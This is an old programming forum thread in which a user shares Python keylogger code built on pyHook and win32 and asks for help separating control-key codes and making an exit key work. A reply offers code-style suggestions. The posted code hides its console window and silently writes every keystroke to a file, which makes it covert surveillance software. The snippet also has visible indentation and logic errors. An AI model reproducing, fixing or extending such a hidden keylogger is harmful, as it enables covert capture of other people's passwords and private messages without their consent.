0

I have made a simple keylogger but there are some problems with it.

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
         if event.Ascii==28:
            _exit(1)

    if event.Ascii != 0:
        f=open('C:\Users\Peter\Desktop\output.txt','r')
        buffer=f.read()
        f.close()
        f=open('C:\Users\Peter\Desktop\output.txt','w')
        keylogs=chr(event.Ascii)

        if event.Ascii==13:
            keylogs='/n/'
        if event.Ascii==32:
            keylogs='/s/'
        if event.Ascii==8:
            keylogs='/b/'
        if event.Ascii==1:
            keylogs='/CTRLa/'
        if event.Ascii==2:
            keylogs='/CTRLb/'
        if event.Ascii==3:
            keylogs='/CTRLc/'
        if event.Ascii==4:
            keylogs='/CTRLd/'
        if event.Ascii==5:
            keylogs='/CTRLe/'
        if event.Ascii==6:
            keylogs='/CTRLf/'
        if event.Ascii==7:
            keylogs='/CTRLg/'
        if event.Ascii==8:
            keylogs='/CTRLh/'
        if event.Ascii==9:
            keylogs='/CTRLi/'
        if event.Ascii==10:
            keylogs='/CTRLj/'
        if event.Ascii==11:
            keylogs='/CTRLk/'
        if event.Ascii==12:
            keylogs='/CTRLl/'
        if event.Ascii==13:
            keylogs='/CTRLm/'
        if event.Ascii==14:
            keylogs='/CTRLn/'
        if event.Ascii==15:
            keylogs='/CTRLo/'
        if event.Ascii==16:
            keylogs='/CTRLp/'
        if event.Ascii==17:
            keylogs='/CTRLq/'
        if event.Ascii==18:
            keylogs='/CTRLr/'
        if event.Ascii==19:
            keylogs='/CTRLs/'
        if event.Ascii==20:
            keylogs='/CTRLt/'
        if event.Ascii==21:
            keylogs='/CTRLu/'
        if event.Ascii==22:
            keylogs='/CTRLv/'
        if event.Ascii==23:
            keylogs='/CTRLw/'
        if event.Ascii==24:
            keylogs='/CTRLx/'
        if event.Ascii==25:
            keylogs='/CTRLy/'
        if event.Ascii==26:
            keylogs='/CTRLz/'

        buffer += keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

there is a conflict between ascii 8 and 13. I want it to record keystrokes for both backspace, enter, control+h, and control+m. They share the same ascii value. how do i change it so that it records them separately?

One more thing, the program does not exit when ascii value 28 is hit, which is control+\

2
Contributors
2
Replies
3
Views
7 Years
Discussion Span
Last Post by tyuo9980
0

Please use elif instead of if, except for the first condition, your function looks strange, those condiitions are mutually exclusive!
better still prepare dict with the keys and do if event.Ascii in key_dict: buffer+=key_dict[event.Ascii] Maybe there is Keycode event for individual key detection in the module which you are using?

Edited by pyTony: n/a

0

i fixed the exit code.

i imported sys and used sys.exit().

now i have a problem with the key strokes. help?

This topic has been dead for over six months. Start a new discussion instead.
Have something to contribute to this discussion? Please be thoughtful, detailed and courteous, and be sure to adhere to our posting rules.